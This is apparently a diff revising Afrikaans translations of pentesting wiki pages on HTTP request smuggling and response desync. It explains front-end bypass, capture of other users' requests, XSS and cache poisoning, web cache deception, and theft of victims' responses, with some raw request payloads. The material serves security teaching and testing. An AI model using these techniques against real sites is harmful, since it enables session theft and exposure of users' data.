-Nadat die doeltreffendheid van tydtegnieke bevestig is, is dit noodsaaklik om te verifieer of kliënt versoeke gemanipuleer kan word. 'n Eenvoudige metode is om te probeer om jou versoeke te vergiftig, byvoorbeeld, om 'n versoek na `/` te maak wat 'n 404 reaksie oplewer. Die `CL.TE` en `TE.CL` voorbeelde wat voorheen bespreek is in [Basic Examples](./#basic-examples) demonstreer hoe om 'n kliënt se versoek te vergiftig om 'n 404 reaksie uit te lok, ten spyte van die kliënt se poging om toegang tot 'n ander hulpbron te verkry.
+Nadat die doeltreffendheid van tydtegnieke bevestig is, is dit noodsaaklik om te verifieer of kliënt versoeke gemanipuleer kan word. 'n Eenvoudige metode is om te probeer om jou versoeke te vergiftig, byvoorbeeld, om 'n versoek na `/` te maak wat 'n 404 reaksie oplewer. Die `CL.TE` en `TE.CL` voorbeelde wat voorheen bespreek is in [Basic Examples](./#basic-examples) demonstreer hoe om 'n kliënt se versoek te vergiftig om 'n 404 reaksie uit te lok, ten spyte van die kliënt se poging om 'n ander hulpbron te benader.
 
 **Belangrike Oorwegings**
 
 Wanneer jy toets vir request smuggling kwesbaarhede deur ander versoeke te beïnvloed, hou in gedagte:
 
 - **Verskillende Netwerkverbindinge:** Die "aanval" en "normale" versoeke moet oor verskillende netwerkverbindinge gestuur word. Die gebruik van dieselfde verbinding vir albei valideer nie die kwesbaarheid se teenwoordigheid nie.
-- **Konstante URL en Parameters:** Probeer om identiese URL's en parametername vir albei versoeke te gebruik. Moderne toepassings lei dikwels versoeke na spesifieke agtergrondbedieners gebaseer op URL en parameters. Ooreenstemming hiervan verhoog die waarskynlikheid dat albei versoeke deur dieselfde bediener verwerk word, 'n voorvereiste vir 'n suksesvolle aanval.
+- **Konstante URL en Parameters:** Probeer om identiese URL's en parametername vir albei versoeke te gebruik. Moderne toepassings lei dikwels versoeke na spesifieke agtergrond bedieners gebaseer op URL en parameters. Ooreenstemming hiervan verhoog die waarskynlikheid dat albei versoeke deur dieselfde bediener verwerk word, 'n voorvereiste vir 'n suksesvolle aanval.
 - **Tyd en Wedrenstoestande:** Die "normale" versoek, wat bedoel is om interferensie van die "aanval" versoek te detecteer, kompeteer teen ander gelyktydige toepassingsversoeke. Stuur dus die "normale" versoek onmiddellik na die "aanval" versoek. Besige toepassings mag verskeie pogings vereis vir beslissende kwesbaarheid bevestiging.
-- **Laai Balansuitdagings:** Voorste bedieners wat as laai-balansers optree, mag versoeke oor verskillende agtergrondstelsels versprei. As die "aanval" en "normale" versoeke op verskillende stelsels eindig, sal die aanval nie slaag nie. Hierdie laai-balans aspek mag verskeie pogings vereis om 'n kwesbaarheid te bevestig.
+- **Laai Balansuitdagings:** Voorste bedieners wat as laai balancers optree, mag versoeke oor verskillende agtergrond stelsels versprei. As die "aanval" en "normale" versoeke op verskillende stelsels eindig, sal die aanval nie slaag nie. Hierdie laai balanceringsaspek mag verskeie pogings vereis om 'n kwesbaarheid te bevestig.
 - **Onbedoelde Gebruikerimpak:** As jou aanval per ongeluk 'n ander gebruiker se versoek beïnvloed (nie die "normale" versoek wat jy gestuur het vir detectie nie), dui dit aan dat jou aanval 'n ander toepassingsgebruiker beïnvloed het. Deurlopende toetsing kan ander gebruikers ontwrig, wat 'n versigtige benadering vereis.
 
 ## Misbruik van HTTP Request Smuggling
 
 ### Omseiling van Voorste Sekuriteit deur HTTP Request Smuggling
 
-Soms handhaaf voorste proxies sekuriteitsmaatreëls, wat inkomende versoeke ondersoek. Hierdie maatreëls kan egter omseil word deur HTTP Request Smuggling te benut, wat ongeoorloofde toegang tot beperkte eindpunte moontlik maak. Byvoorbeeld, toegang tot `/admin` mag ekstern verbied wees, met die voorste proxy wat aktief sulke pogings blokkeer. Nietemin mag hierdie proxy versuim om ingebedde versoeke binne 'n gesmokkelde HTTP versoek te ondersoek, wat 'n gat laat om hierdie beperkings te omseil.
+Soms handhaaf voorste proxies sekuriteitsmaatreëls, wat inkomende versoeke ondersoek. Hierdie maatreëls kan egter omseil word deur HTTP Request Smuggling te benut, wat ongeoorloofde toegang tot beperkte eindpunte toelaat. Byvoorbeeld, toegang tot `/admin` mag ekstern verbied wees, met die voorste proxy wat aktief sulke pogings blokkeer. Nietemin mag hierdie proxy versuim om ingebedde versoeke binne 'n gesmokkelde HTTP versoek te ondersoek, wat 'n gat laat om hierdie beperkings te omseil.
 
 Oorweeg die volgende voorbeelde wat illustreer hoe HTTP Request Smuggling gebruik kan word om voorste sekuriteitsbeheermaatreëls te omseil, spesifiek teiken die `/admin` pad wat tipies deur die voorste proxy beskerm word:
 
@@ -325,7 +325,7 @@ In teenstelling, in die TE.CL-aanval, gebruik die aanvanklike `POST` versoek `Tr
 
 ### Onthulling van front-end versoek herskrywing <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
 
-Toepassings gebruik dikwels 'n **front-end bediener** om inkomende versoeke te wysig voordat dit aan die agterkant bediener oorgedra word. 'n Tipiese wysiging behels die toevoeging van koppe, soos `X-Forwarded-For: <IP van die kliënt>`, om die kliënt se IP aan die agterkant oor te dra. Om hierdie wysigings te verstaan, kan noodsaaklik wees, aangesien dit maniere kan onthul om **beskermings te omseil** of **verborgene inligting of eindpunte te ontdek**.
+Toepassings gebruik dikwels 'n **front-end bediener** om inkomende versoeke te wysig voordat dit aan die agterkant bediener oorgedra word. 'n Tipiese wysiging behels die toevoeging van koppe, soos `X-Forwarded-For: <IP of the client>`, om die kliënt se IP aan die agterkant oor te dra. Om hierdie wysigings te verstaan, kan van kardinale belang wees, aangesien dit maniere kan onthul om **beskermings te omseil** of **verborgene inligting of eindpunte te ontdek**.
 
 Om te ondersoek hoe 'n proxy 'n versoek verander, vind 'n POST parameter wat die agterkant in die antwoord weergee. Skep dan 'n versoek, met hierdie parameter laaste, soortgelyk aan die volgende:
 ```
@@ -346,7 +346,7 @@ search=
 ```
 In hierdie struktuur word daaropvolgende versoekkomponente bygevoeg na `search=`, wat die parameter is wat in die antwoord weerspieël word. Hierdie weerspieëling sal die koptekste van die daaropvolgende versoek blootstel.
 
-Dit is belangrik om die `Content-Length` koptekst van die geneste versoek te belyn met die werklike inhoudslengte. Dit is raadsaam om met 'n klein waarde te begin en geleidelik te verhoog, aangesien 'n te lae waarde die weerspieëlde data sal afkorts, terwyl 'n te hoë waarde die versoek kan laat foutloop.
+Dit is belangrik om die `Content-Length` koptekst van die geneste versoek te belyn met die werklike inhoudslengte. Dit is raadsaam om met 'n klein waarde te begin en geleidelik te verhoog, aangesien 'n te lae waarde die weerspieëlde data sal afkapsel, terwyl 'n te hoë waarde die versoek kan laat fout.
 
 Hierdie tegniek is ook van toepassing in die konteks van 'n TE.CL kwesbaarheid, maar die versoek moet eindig met `search=\r\n0`. Ongeag die nuwe reël karakters, sal die waardes by die soekparameter gevoeg word.
 
@@ -378,7 +378,7 @@ csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40ema
 ```
 In hierdie scenario is die **kommentaarparameter** bedoel om die inhoud binne 'n pos se kommentaarafdeling op 'n publiek toeganklike bladsy te stoor. Gevolglik sal die inhoud van die daaropvolgende versoek as 'n kommentaar verskyn.
 
-Hierdie tegniek het egter beperkings. Oor die algemeen vang dit data slegs tot by die parameterafskeider wat in die gesmokkelde versoek gebruik word. Vir URL-gecodeerde vormindienings is hierdie afskeider die `&` karakter. Dit beteken dat die gevangenis inhoud van die slagoffer gebruiker se versoek by die eerste `&` sal stop, wat selfs deel van die vrae string kan wees.
+Hierdie tegniek het egter beperkings. Oor die algemeen vang dit data slegs tot by die parameterafskeider wat in die gesmokkelde versoek gebruik word. Vir URL-gecodeerde vormindienings is hierdie afskeider die `&` karakter. Dit beteken dat die gevangenis inhoud van die slagoffer gebruiker se versoek by die eerste `&` sal stop, wat selfs deel van die vrae string mag wees.
 
 Boonop is dit die moeite werd om op te let dat hierdie benadering ook lewensvatbaar is met 'n TE.CL kwesbaarheid. In sulke gevalle moet die versoek eindig met `search=\r\n0`. Ongeag van nuwe reël karakters, sal die waardes by die soekparameter gevoeg word.
 
@@ -386,7 +386,7 @@ Boonop is dit die moeite werd om op te let dat hierdie benadering ook lewensvatb
 
 HTTP Request Smuggling kan benut word om webblaaie wat kwesbaar is vir **Weerspieëlde XSS** te ontgin, wat beduidende voordele bied:
 
-- Interaksie met die teiken gebruikers is **nie nodig** nie.
+- Interaksie met die teikengebruikers is **nie nodig** nie.
 - Dit stel die ontginning van XSS in dele van die versoek wat **normaalweg ontoeganklik** is, soos HTTP versoek koptekste, moontlik.
 
 In scenario's waar 'n webwerf kwesbaar is vir Weerspieëlde XSS deur die User-Agent koptekst, demonstreer die volgende payload hoe om hierdie kwesbaarheid te ontgin:
@@ -429,7 +429,7 @@ In [**hierdie skrywe**](https://mizu.re/post/twisty-python), is dit misbruik met
 
 ### Exploiting On-site Redirects with HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
 
-Toepassings lei dikwels van een URL na 'n ander deur die hostname van die `Host` kop in die omleidings-URL te gebruik. Dit is algemeen met webbedieners soos Apache en IIS. Byvoorbeeld, om 'n gids sonder 'n agterste skuif te versoek, lei tot 'n omleiding om die skuif in te sluit:
+Toepassings lei dikwels van een URL na 'n ander deur die hostname van die `Host` kop in die omleidings-URL te gebruik. Dit is algemeen met webbedieners soos Apache en IIS. Byvoorbeeld, om 'n gids sonder 'n agterste schuif te versoek, lei tot 'n omleiding om die schuif in te sluit:
 ```
 GET /home HTTP/1.1
 Host: normal-website.com
@@ -471,9 +471,9 @@ In hierdie scenario word 'n gebruiker se versoek vir 'n JavaScript-lêer gekaap.
 
 Web cache poisoning kan uitgevoer word as enige komponent van die **front-end infrastruktuur inhoud kas** om prestasie te verbeter. Deur die bediener se reaksie te manipuleer, is dit moontlik om die **cache te vergiftig**.
 
-Voorheen het ons gesien hoe bediener reaksies verander kan word om 'n 404-fout te retourneer (verwys na [Basic Examples](./#basic-examples)). Op soortgelyke wyse is dit haalbaar om die bediener te mislei om `/index.html` inhoud te lewer in reaksie op 'n versoek vir `/static/include.js`. Gevolglik word die inhoud van `/static/include.js` in die kas vervang met dié van `/index.html`, wat `/static/include.js` ontoeganklik maak vir gebruikers, wat moontlik kan lei tot 'n Denial of Service (DoS).
+Voorheen het ons gesien hoe bediener reaksies verander kan word om 'n 404-fout te retourneer (verwys na [Basic Examples](./#basic-examples)). Op soortgelyke wyse is dit haalbaar om die bediener te mislei om `/index.html` inhoud te lewer in reaksie op 'n versoek vir `/static/include.js`. Gevolglik word die `/static/include.js` inhoud in die kas vervang met dié van `/index.html`, wat `/static/include.js` ontoeganklik maak vir gebruikers, wat moontlik kan lei tot 'n Denial of Service (DoS).
 
-Hierdie tegniek word veral kragtig as 'n **Open Redirect-kwesbaarheid** ontdek word of as daar 'n **op-site omleiding na 'n oop omleiding** is. Sulke kwesbaarhede kan benut word om die gekaste inhoud van `/static/include.js` te vervang met 'n skrip onder die aanvaller se beheer, wat essensieel 'n wye Cross-Site Scripting (XSS) aanval teen alle kliënte wat die opgedateerde `/static/include.js` versoek, moontlik maak.
+Hierdie tegniek word veral kragtig as 'n **Open Redirect kwesbaarheid** ontdek word of as daar 'n **op-site omleiding na 'n oop omleiding** is. Sulke kwesbaarhede kan benut word om die gekaste inhoud van `/static/include.js` te vervang met 'n skrif onder die aanvaller se beheer, wat essensieel 'n wye Cross-Site Scripting (XSS) aanval teen alle kliënte wat die opgedateerde `/static/include.js` versoek, moontlik maak.
 
 Hieronder is 'n illustrasie van die benutting van **cache poisoning gekombineer met 'n op-site omleiding na oop omleiding**. Die doel is om die kasinhoud van `/static/include.js` te verander om JavaScript-kode te bedien wat deur die aanvaller beheer word:
 ```
@@ -493,20 +493,20 @@ Content-Length: 10
 
 x=1
 ```
-Let wel die ingebedde versoek wat op `/post/next?postId=3` teiken. Hierdie versoek sal herlei word na `/post?postId=4`, wat die **Host header waarde** gebruik om die domein te bepaal. Deur die **Host header** te verander, kan die aanvaller die versoek na hul domein herlei (**on-site redirect to open redirect**).
+Let op die ingebedde versoek wat op `/post/next?postId=3` teiken. Hierdie versoek sal herlei word na `/post?postId=4`, wat die **Host header waarde** gebruik om die domein te bepaal. Deur die **Host header** te verander, kan die aanvaller die versoek na hul domein herlei (**on-site redirect to open redirect**).
 
-Na suksesvolle **socket poisoning**, moet 'n **GET versoek** vir `/static/include.js` geïnisieer word. Hierdie versoek sal besmet wees deur die vorige **on-site redirect to open redirect** versoek en die inhoud van die skrip wat deur die aanvaller beheer word, opvra.
+Na suksesvolle **socket poisoning**, moet 'n **GET request** vir `/static/include.js` geïnisieer word. Hierdie versoek sal besmet wees deur die vorige **on-site redirect to open redirect** versoek en die inhoud van die skrip wat deur die aanvaller beheer word, opvra.
 
-Daarna sal enige versoek vir `/static/include.js` die gekapte inhoud van die aanvaller se skrip dien, wat effektief 'n breë XSS-aanval ontketen.
+Daarna sal enige versoek vir `/static/include.js` die gekapte inhoud van die aanvaller se skrip dien, wat effektief 'n wye XSS-aanval ontketen.
 
-### Gebruik van HTTP versoek smuggling om web cache misleiding uit te voer <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
+### Gebruik van HTTP request smuggling om web cache misleiding uit te voer <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
 
 > **Wat is die verskil tussen web cache poisoning en web cache misleiding?**
 >
-> - In **web cache poisoning** veroorsaak die aanvaller dat die aansoek 'n paar kwaadwillige inhoud in die cache stoor, en hierdie inhoud word vanaf die cache aan ander aansoekgebruikers bedien.
-> - In **web cache misleiding** veroorsaak die aanvaller dat die aansoek 'n paar sensitiewe inhoud wat aan 'n ander gebruiker behoort in die cache stoor, en die aanvaller haal dan hierdie inhoud uit die cache.
+> - In **web cache poisoning** veroorsaak die aanvaller dat die toepassing 'n paar kwaadwillige inhoud in die cache stoor, en hierdie inhoud word vanaf die cache aan ander toepassingsgebruikers bedien.
+> - In **web cache misleiding** veroorsaak die aanvaller dat die toepassing 'n paar sensitiewe inhoud wat aan 'n ander gebruiker behoort in die cache stoor, en die aanvaller haal dan hierdie inhoud uit die cache.
 
-Die aanvaller stel 'n gesmokkelde versoek op wat sensitiewe gebruiker-spesifieke inhoud opvra. Oorweeg die volgende voorbeeld:
+Die aanvaller stel 'n gesmokkelde versoek saam wat sensitiewe gebruiker-spesifieke inhoud opvra. Oorweeg die volgende voorbeeld:
 ```markdown
 `POST / HTTP/1.1`\
 `Host: vulnerable-website.com`\
@@ -517,7 +517,7 @@ Die aanvaller stel 'n gesmokkelde versoek op wat sensitiewe gebruiker-spesifieke
 `GET /private/messages HTTP/1.1`\
 `Foo: X`
 ```
-As hierdie gesmokkelde versoek 'n kasinskrywing vir statiese inhoud (bv. `/someimage.png`) vergiftig, mag die slagoffer se sensitiewe data van `/private/messages` onder die kasinskrywing van die statiese inhoud gebuffer wees. Gevolglik kan die aanvaller moontlik hierdie gebufferde sensitiewe data terugkry.
+As hierdie gesmokkelde versoek 'n kasinskrywing wat bedoel is vir statiese inhoud (bv. `/someimage.png`) besoedel, mag die slagoffer se sensitiewe data van `/private/messages` onder die statiese inhoud se kasinskrywing gebuffer wees. Gevolglik kan die aanvaller moontlik hierdie gebufferde sensitiewe data terugkry.
 
 ### Misbruik van TRACE via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
 
@@ -567,7 +567,7 @@ Content-Length: 44\r\n
 \r\n
 <script>alert("response splitting")</script>
 ```
-Sal hierdie antwoorde genereer (let op hoe die HEAD-antwoord 'n Content-Length het wat die TRACE-antwoord deel van die HEAD-liggaam maak en sodra die HEAD Content-Length eindig, word 'n geldige HTTP-antwoord gesmokkeld):
+Sal hierdie antwoorde genereer (let op hoe die HEAD-antwoord 'n Content-Length het wat die TRACE-antwoord deel van die HEAD-liggaam maak en sodra die HEAD Content-Length eindig, word 'n geldige HTTP-antwoord gesmokkel):
 ```
 HTTP/1.1 200 OK
 Content-Type: text/html

src/pentesting-web/http-response-smuggling-desync.md

@@ -8,23 +8,23 @@
 
 Eerstens, hierdie tegniek **misbruik 'n HTTP Versoek Smuggling kwesbaarheid**, so jy moet weet wat dit is:
 
-Die **hoof** **verskil** tussen hierdie tegniek en 'n algemene HTTP Versoek smuggling is dat **in plaas daarvan** om die **versoek** van die **slagoffer** **te aanval** deur 'n voorvoegsel daaraan toe te voeg, gaan ons die **antwoord wat die slagoffer ontvang** **lek of wysig**. Dit word gedoen deur, in plaas van om 1 versoek en 'n half te stuur om die HTTP Versoek smuggling te misbruik, **2 volledige versoeke te stuur om die proxies se antwoordqueue te desynchroniseer**.
+Die **hoof** **verskil** tussen hierdie tegniek en 'n algemene HTTP Versoek smuggling is dat **in plaas van** om die **versoek** van die **slagoffer** **te aanval deur 'n voorvoegsel daaraan toe te voeg**, ons gaan **die respons wat die slagoffer ontvang, lek of wysig**. Dit word gedoen deur, in plaas van om 1 versoek en 'n halwe te stuur om die HTTP Versoek smuggling te misbruik, **2 volledige versoeke te stuur om die proxies se respons queue te desynchroniseer**.
 
-Dit is omdat ons in staat gaan wees om die **antwoordqueue te desynchroniseer** sodat die **antwoord** van die **legitieme** **versoek** van die **slagoffer na die aanvaller gestuur word**, of deur **aanvallersbeheerde inhoud in die antwoord aan die slagoffer in te spuit**.
+Dit is omdat ons in staat gaan wees om die **respons queue te desynchroniseer** sodat die **respons** van die **legitieme** **versoek** van die **slagoffer na die aanvaller gestuur word**, of deur **aanvallers beheerde inhoud in die respons aan die slagoffer in te spuit**.
 
 ### HTTP Pyplyn Desync
 
-HTTP/1.1 laat toe om **verskillende hulpbronne te vra sonder om te wag vir vorige**. Daarom, as daar 'n **proxy** in die **middel** is, is dit die proxies se taak om 'n **gesinkroniseerde ooreenkoms van versoeke wat na die agtergrond gestuur is en antwoorde wat daaruit kom** te **onderhou**.
+HTTP/1.1 laat toe om **verskillende hulpbronne te vra sonder om te wag vir vorige**. Daarom, as daar 'n **proxy** in die **middel** is, is dit die proxies se taak om 'n **gesinkroniseerde ooreenstemming van versoeke wat na die agterkant gestuur is en respons wat daarvandaan kom, te handhaaf**.
 
-Daar is egter 'n probleem om die antwoordequeue te desynchroniseer. As 'n aanvaller 'n HTTP Response smuggling aanval stuur en die antwoorde op die **aanvangsversoek en die gesmugde een onmiddellik beantwoord word**, sal die gesmugde antwoord nie in die queue van die slagoffer se antwoord ingevoeg word nie, maar sal **net as 'n fout weggegooi word**.
+Daar is egter 'n probleem om die respons queue te desynchroniseer. As 'n aanvaller 'n HTTP Respons smuggling aanval stuur en die respons op die **aanvanklike versoek en die gesmugde een onmiddellik beantwoord word**, sal die gesmugde respons nie in die queue van die slagoffer se respons ingevoeg word nie, maar sal **net as 'n fout weggegooi word**.
 
 ![](<../images/image (633).png>)
 
-Daarom is dit nodig dat die **gesmugde** **versoek** **meer tyd neem om verwerk te word** binne die agtergrond bediener. Daarom, teen die tyd dat die gesmugde versoek verwerk word, sal die kommunikasie met die aanvaller verby wees.
+Daarom is dit nodig dat die **gesmugde** **versoek** **meer tyd neem om verwerk te word** binne die agterkant bediener. Daarom, teen die tyd dat die gesmugde versoek verwerk word, sal die kommunikasie met die aanvaller verby wees.
 
-As in hierdie spesifieke situasie 'n **slagoffer 'n versoek gestuur het** en die **gesmugde versoek voor** die legitieme versoek beantwoord word, sal die **gesmugde antwoord na die slagoffer gestuur word**. Daarom sal die aanvaller die **versoek "uitgevoer" deur die slagoffer** **beheer**.
+As in hierdie spesifieke situasie 'n **slagoffer 'n versoek gestuur het** en die **gesmugde versoek voor** die legitieme versoek beantwoord word, sal die **gesmugde respons aan die slagoffer gestuur word**. Daarom sal die aanvaller die **versoek "uitgevoer" deur die slagoffer** **beheer**.
 
-Boonop, as die **aanvaller dan 'n versoek uitvoer** en die **legitieme antwoord** op die **slagoffer** se versoek **beantwoord** **voor** die aanvaller se versoek. Die **antwoord aan die slagoffer gaan na die aanvaller gestuur word**, **steel** die antwoord aan die slagoffer (wat byvoorbeeld die koptekst **Set-Cookie** kan bevat).
+Boonop, as die **aanvaller dan 'n versoek uitvoer** en die **legitieme respons** op die **slagoffer** se versoek **beantwoord** **voor** die aanvaller se versoek. Die **respons aan die slagoffer gaan aan die aanvaller gestuur word**, **steel** die respons aan die slagoffer (wat byvoorbeeld die header **Set-Cookie** kan bevat).
 
 ![](<../images/image (1020).png>)
 
@@ -32,41 +32,41 @@ Boonop, as die **aanvaller dan 'n versoek uitvoer** en die **legitieme antwoord*
 
 ### Meervoudige Geneste Inspuitings
 
-Nog 'n **interessante verskil** met algemene **HTTP Versoek Smuggling** is dat, in 'n algemene smuggling aanval, die **doel** is om die **begin van die slagoffer se versoek** te **wysig** sodat dit 'n onverwagte aksie uitvoer. In 'n **HTTP Response smuggling aanval**, aangesien jy **volledige versoeke stuur**, kan jy **in een payload tientalle antwoorde inspuit** wat **tientalle gebruikers gaan desynchroniseer** wat die **ingespuite** **antwoorde** gaan **ontvang**.
+Nog 'n **interessante verskil** met algemene **HTTP Versoek Smuggling** is dat, in 'n algemene smuggling aanval, die **doel** is om die **begin van die slagoffer se versoek te wysig** sodat dit 'n onverwagte aksie uitvoer. In 'n **HTTP Respons smuggling aanval**, aangesien jy **volledige versoeke stuur**, kan jy **in een payload tientalle responsies inspuit** wat **tientalle gebruikers gaan desynchroniseer** wat die **ingespuite** **responsies** gaan **ontvang**.
 
-Afgesien daarvan dat jy in staat is om **tientalle exploits makliker te versprei** oor legitieme gebruikers, kan dit ook gebruik word om 'n **DoS** op die bediener te veroorsaak.
+Afgesien van die vermoë om **tientalle exploits makliker te versprei** oor legitieme gebruikers, kan dit ook gebruik word om 'n **DoS** op die bediener te veroorsaak.
 
 ### Exploit Organisasie
 
 Soos voorheen verduidelik, om hierdie tegniek te misbruik, is dit nodig dat die **eerste gesmugde boodskap** in die bediener **baie tyd neem om verwerk te word**.
 
-Hierdie **tydrowende versoek is genoeg** as ons net die **slagoffer se antwoord wil probeer steel.** Maar as jy 'n meer komplekse exploit wil uitvoer, sal dit 'n algemene struktuur vir die exploit wees.
+Hierdie **tydrowende versoek is genoeg** as ons net die **slagoffer se respons wil probeer steel**. Maar as jy 'n meer komplekse exploit wil uitvoer, sal dit 'n algemene struktuur vir die exploit wees.
 
-Eerstens die **aanvangs** versoek wat **HTTP** **Versoek** **smuggling** misbruik, dan die **tydrowende versoek** en dan **1 of meer payload versoeke** waarvan die antwoorde aan die slagoffers gestuur sal word.
+Eerstens die **aanvanklike** versoek wat **HTTP** **Versoek** **smuggling** misbruik, dan die **tydrowende versoek** en dan **1 of meer payload versoeke** waarvan die respons aan die slagoffers gestuur sal word.
 
-## Misbruik van HTTP Antwoord Queue Desynchronisasie
+## Misbruik van HTTP Respons Queue Desynchronisasie
 
-### Om ander gebruikers se versoeke te vang <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
+### Vasvang van ander gebruikers se versoeke <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
 
-Soos met bekende payloads van HTTP Versoek Smuggling, kan jy die **slagoffer se versoek steel** met een belangrike verskil: In hierdie geval het jy net die **gestuurde inhoud wat in die antwoord weerspieël moet word**, **geen volgehoue berging** is nodig nie.
+Soos met bekende payloads van HTTP Versoek Smuggling, kan jy **die slagoffer se versoek steel** met een belangrike verskil: In hierdie geval het jy net die **gestuurde inhoud nodig om in die respons weerspieël te word**, **geen volgehoue berging** is nodig nie.
 
-Eerstens, die aanvaller stuur 'n payload wat 'n **finale POST versoek met die weerspieëlde parameter** aan die einde en 'n groot Content-Length bevat
+Eerstens, stuur die aanvaller 'n payload wat 'n **finale POST versoek met die weerspieëlde parameter** aan die einde en 'n groot Content-Length bevat.
 
 ![](<../images/image (1053).png>)
 
-Dan, sodra die **aanvangsversoek** (blou) verwerk is en **terwyl** die **slaapagtige** een verwerk word (geel) gaan die **volgende versoek wat van 'n slagoffer aankom** in die queue **net na die weerspieëlde parameter** **bygevoeg word**:
+Dan, sodra die **aanvanklike versoek** (blou) verwerk is en **terwyl** die **slaapagtige** een verwerk word (geel), gaan die **volgende versoek wat van 'n slagoffer aankom** in die queue **net na die weerspieëlde parameter ingevoeg word**:
 
 ![](<../images/image (794).png>)
 
-Dan, die **slagoffer** sal die **antwoord** op die **slaapagtige** versoek ontvang en as intussen die **aanvaller** **nog 'n** **versoek gestuur het**, sal die **antwoord van die weerspieëlde inhoud versoek na hom gestuur word**.
+Dan, die **slagoffer** sal die **respons** op die **slaapagtige** versoek ontvang en as intussen die **aanvaller** **nog 'n** **versoek gestuur het**, sal die **respons van die weerspieëlde inhoud versoek aan hom gestuur word**.
 
-## Antwoord Desynchronisasie
+## Respons Desynchronisasie
 
-Tot op hierdie punt, het ons geleer hoe om HTTP Versoek Smuggling aanvalle te misbruik om die **versoek** **waarvan** die **antwoord** 'n **klient** gaan **ontvang** te **beheer** en hoe jy dan die **antwoord wat bedoel was vir die slagoffer** kan **steel**.
+Tot op hierdie punt, het ons geleer hoe om HTTP Versoek Smuggling aanvalle te misbruik om die **versoek** **waarvan** die **respons** 'n **klient** gaan **ontvang** te **beheer** en hoe jy dan die **respons kan steel wat bedoel was vir die slagoffer**.
 
-Maar dit is steeds moontlik om die antwoorde nog meer te **desynchroniseer**.
+Maar dit is steeds moontlik om die respons nog meer te **desynchroniseer**.
 
-Daar is interessante versoeke soos **HEAD** versoeke wat gespesifiseer is om **geen inhoud binne die antwoord se liggaam** te hê nie en wat **die Content-Length** van die versoek moet (moet) **bevat soos dit 'n GET versoek was**.
+Daar is interessante versoeke soos **HEAD** versoeke wat gespesifiseer is om **geen inhoud binne die respons se liggaam** te hê nie en wat moet (moet) **die Content-Length** van die versoek bevat soos **as dit 'n GET versoek was**.
 
 Daarom, as 'n aanvaller 'n **HEAD** versoek **inspuit**, soos in hierdie beelde:
 
@@ -76,57 +76,57 @@ Dan, **sodra die blou een aan die aanvaller beantwoord word**, gaan die volgende
 
 ![](<../images/image (999).png>)
 
-Dan, die **slagoffer** sal die **antwoord** van die **HEAD** versoek ontvang, wat **'n Content-Length gaan bevat maar glad nie inhoud nie**. Daarom, die proxy **sal hierdie antwoord nie aan die slagoffer stuur nie**, maar sal **wag** vir 'n **inhoud**, wat eintlik die **antwoord op die geel versoek** gaan wees (ook deur die aanvaller ingespuit):
+Dan, die **slagoffer** sal die **respons** van die **HEAD** versoek ontvang, wat **'n Content-Length gaan bevat maar glad nie inhoud nie**. Daarom sal die proxy **nie hierdie respons aan die slagoffer stuur nie**, maar sal **wag** vir 'n **inhoud**, wat eintlik die **respons op die geel versoek** gaan wees (ook deur die aanvaller ingespuit):
 
 ![](<../images/image (735).png>)
 
 ### Inhoud Verwarring
 
-Volg die vorige voorbeeld, wetende dat jy die **liggaam** van die versoek kan **beheer** waarvan die antwoord die slagoffer gaan ontvang en dat 'n **HEAD** **antwoord** gewoonlik in sy kopstukke die **Content-Type en die Content-Length** bevat, kan jy **'n versoek soos die volgende** stuur om **XSS** in die slagoffer te veroorsaak sonder dat die bladsy kwesbaar is vir XSS:
+Volg die vorige voorbeeld, wetende dat jy die **liggaam** van die versoek kan **beheer** waarvan die respons aan die slagoffer gaan ontvang en dat 'n **HEAD** **respons** gewoonlik in sy headers die **Content-Type en die Content-Length** bevat, kan jy **'n versoek soos die volgende** stuur om **XSS** in die slagoffer te veroorsaak sonder dat die bladsy kwesbaar is vir XSS:
 
 ![](<../images/image (688).png>)
 
 ### Cache Vergiftiging
 
-Deur die voorheen bespreekte antwoord desynchronisasie Inhoud Verwarring aanval te misbruik, **as die cache die antwoord op die versoek wat deur die slagoffer uitgevoer is stoor en hierdie antwoord 'n ingespuite een is wat 'n XSS veroorsaak, dan is die cache vergiftig**.
+Deur die voorheen bespreekte respons desynchronisasie Inhoud Verwarring aanval te misbruik, **as die cache die respons op die versoek wat deur die slagoffer uitgevoer is, stoor en hierdie respons 'n ingespuite een is wat 'n XSS veroorsaak, dan is die cache vergiftig**.
 
 Kwaadwillige versoek wat die XSS payload bevat:
 
 ![](<../images/image (614).png>)
 
-Kwaadwillige antwoord aan die slagoffer wat die kopstuk bevat wat aan die cache aandui om die antwoord te stoor:
+Kwaadwillige respons aan die slagoffer wat die header bevat wat aan die cache aandui om die respons te stoor:
 
 ![](<../images/image (566).png>)
 
 > [!WARNING]
-> Let daarop dat in hierdie geval as die **"slagoffer" die aanvaller** is, kan hy nou **cache vergiftiging in arbitrêre URL's** uitvoer aangesien hy die **URL wat in die cache gestoor gaan word** met die kwaadwillige antwoord kan **beheer**.
+> Let daarop dat in hierdie geval as die **"slagoffer" die aanvaller is**, hy nou **cache vergiftiging in arbitrêre URL's** kan uitvoer aangesien hy die **URL wat ge-cache gaan word, met die kwaadwillige respons kan beheer**.
 
 ### Web Cache Misleiding
 
-Hierdie aanval is soortgelyk aan die vorige een, maar **in plaas daarvan om 'n payload binne die cache in te spuit, sal die aanvaller slagofferinligting binne die cache stoor:**
+Hierdie aanval is soortgelyk aan die vorige een, maar **in plaas van om 'n payload binne die cache in te spuit, sal die aanvaller slagofferinligting binne die cache stoor:**
 
 ![](<../images/image (991).png>)
 
-### Antwoord Splitting
+### Respons Splitting
 
-Die **doel** van hierdie aanval is om weer die **antwoord** **desynchronisasie** te misbruik om die **proxy 'n 100% aanvaller gegenereerde antwoord** te laat stuur.
+Die **doel** van hierdie aanval is om weer die **respons** **desynchronisasie** te misbruik om die **proxy 'n 100% aanvaller gegenereerde respons te laat stuur**.
 
